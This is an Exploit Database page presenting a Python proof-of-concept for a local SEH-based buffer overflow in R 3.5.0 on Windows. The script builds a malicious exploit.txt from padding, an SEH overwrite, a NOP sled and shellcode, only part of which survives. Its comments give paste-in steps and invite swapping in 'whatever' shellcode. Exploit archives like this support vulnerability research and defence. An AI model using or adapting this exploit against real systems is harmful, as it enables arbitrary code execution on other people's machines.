

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS



**Cookiebot**  
by Usercentrics

**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

# R 3.5.0 - Local Buffer Overflow (SEH)

**EDB-ID:**

46288

**CVE:**

N/A

**EDB Verified:** ✘**Author:**[DINO COVOTSOS](#)**Type:**[LOCAL](#)**Exploit:** / **Cookiebot**  
by Usercentrics

## This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```
#!/usr/bin/python
# Exploit Title: R i386 3.5.0 - Local Buffer Overflow (SEH)
# Date: 30/01/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: https://www.r-project.org/
# Version: 3.5.0
# Software Link: https://cran.r-project.org/bin/windows/base/old/3.5.0/R-3.5.0-win.exe
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greetings to the Telspace Crew)
# Version: 3.5.0
# Tested on: Windows XP Prof SP3 ENG x86
# Note: SEH exploitation method (SEH + DEP Bypass exploit for Windows 7 x86 by Bzyo available on exploit-db)
# CVE: TBC from Mitre
# Created in preparation for OSCE - DC - Telspace Systems
# PoC:
# 1.) Generate exploit.txt, copy the contents to clipboard
# 2.) In the application, open 'Edit' then 'Gui Preferences'
# 3.) Paste the contents of exploit.txt under 'Language for menus and messages'
# 4.) Click OK - Calc POPS (or change shellcode to whatever you require, take note of badchars!)
```

Cookiebot  
by Usercentrics

### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
"\x3d\x94\xc0\x42\x17\x3d\x8d\x1b\x2a\x20\x2e\xcd\xb8\x5d\xad"
"\xe4\x10\x9a\xad\x8c\x15\xe6\x69\x7c\x67\x77\x1c\x82\xd4\x78"
"\x35\xe1\xbb\xea\xd5\xc8\x5e\x8b\x7c\x15")

buffer = "A" * 884 + "\xEB\x09\x90\x90" + "\x85\x91\xb9\x6c" + "\x90" * 20
+ shellcode + "D" * 8868

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

Tags: [Local Buffer Overflow](#)Advisory/Source: [Link](#)

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

- Databases ▾
- Links ▾
- Sites ▾
- Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.



**Cookiebot**  
by Usercentrics

### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >